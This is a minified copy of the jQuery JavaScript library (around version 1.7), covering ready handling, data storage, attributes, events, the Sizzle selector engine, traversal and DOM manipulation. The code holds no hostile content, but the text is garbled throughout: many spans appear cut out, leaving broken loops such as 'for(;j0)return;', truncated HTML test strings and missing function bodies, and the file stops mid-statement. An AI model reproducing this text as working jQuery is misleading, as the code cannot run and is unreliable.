d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a&&typeof a=="object"&&"setInterval"in a},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c
      a",d=q.getElementsByTagName("*"),e=q.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=q.getElementsByTagName("input")[0],b={leadingWhitespace:q.firstChild.nodeType===3,tbody:!q.getElementsByTagName("tbody").length,htmlSerialize:!!q.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:q.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete q.test}catch(s){b.deleteExpando=!1}!q.addEventListener&&q.attachEvent&&q.fireEvent&&(q.attachEvent("onclick",function(){b.noCloneEvent=!1}),q.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),q.appendChild(i),k=c.createDocumentFragment(),k.appendChild(q.lastChild),b.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,k.removeChild(i),k.appendChild(q),q.innerHTML="",a.getComputedStyle&&(j=c.createElement("div"),j.style.width="0",j.style.marginRight="0",q.style.width="2px",q.appendChild(j),b.reliableMarginRight=(parseInt((a.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0);if(q.attachEvent)for(o in{submit:1,change:1,focusin:1})n="on"+o,p=n in q,p||(q.setAttribute(n,"return;"),p=typeof q[n]=="function"),b[o+"Bubbles"]=p;k.removeChild(q),k=g=h=j=q=i=null,f(function(){var a,d,e,g,h,i,j,k,m,n,o,r=c.getElementsByTagName("body")[0];!r||(j=1,k="position:absolute;top:0;left:0;width:1px;height:1px;margin:0;",m="visibility:hidden;border:0;",n="style='"+k+"border:5px solid #000;padding:0;'",o="
      "+""+"
      ",a=c.createElement("div"),a.style.cssText=m+"width:0;height:0;position:static;top:0;margin-top:"+j+"px",r.insertBefore(a,r.firstChild),q=c.createElement("div"),a.appendChild(q),q.innerHTML="
      t
      ",l=q.getElementsByTagName("td"),p=l[0].offsetHeight===0,l[0].style.display="",l[1].style.display="none",b.reliableHiddenOffsets=p&&l[0].offsetHeight===0,q.innerHTML="",q.style.width=q.style.paddingLeft="1px",f.boxModel=b.boxModel=q.offsetWidth===2,typeof q.style.zoom!="undefined"&&(q.style.display="inline",q.style.zoom=1,b.inlineBlockNeedsLayout=q.offsetWidth===2,q.style.display="",q.innerHTML="
      ",b.shrinkWrapBlocks=q.offsetWidth!==2),q.style.cssText=k+m,q.innerHTML=o,d=q.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,i={doesNotAddBorder:e.offsetTop!==5,doesAddBorderForTableAndCells:h.offsetTop===5},e.style.position="fixed",e.style.top="20px",i.fixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top="",d.style.overflow="hidden",d.style.position="relative",i.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,i.doesNotIncludeMarginInBodyOffset=r.offsetTop!==j,r.removeChild(a),q=a=null,f.extend(b,i))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.nodeName.toLowerCase()]||f.valHooks[g.type];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;h=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/\bhover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")}; f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;le&&i.push({elem:this,matches:d.slice(e)});for(j=0;j0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

      ";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
      ";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h0)for(h=g;h=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/",""],legend:[1,"
      ","
      "],thead:[1,"","
      "],tr:[2,"","
      "],td:[3,"","
      "],col:[2,"","
      "],area:[1,"",""],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div
      ","
      "]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function() {for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1>");try{for(var c=0,d=this.length;c1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||!bc.test("<"+a.nodeName)?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k=="number"&&(k+="");if(!k)continue;if(typeof k=="string")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,"<$1>");var 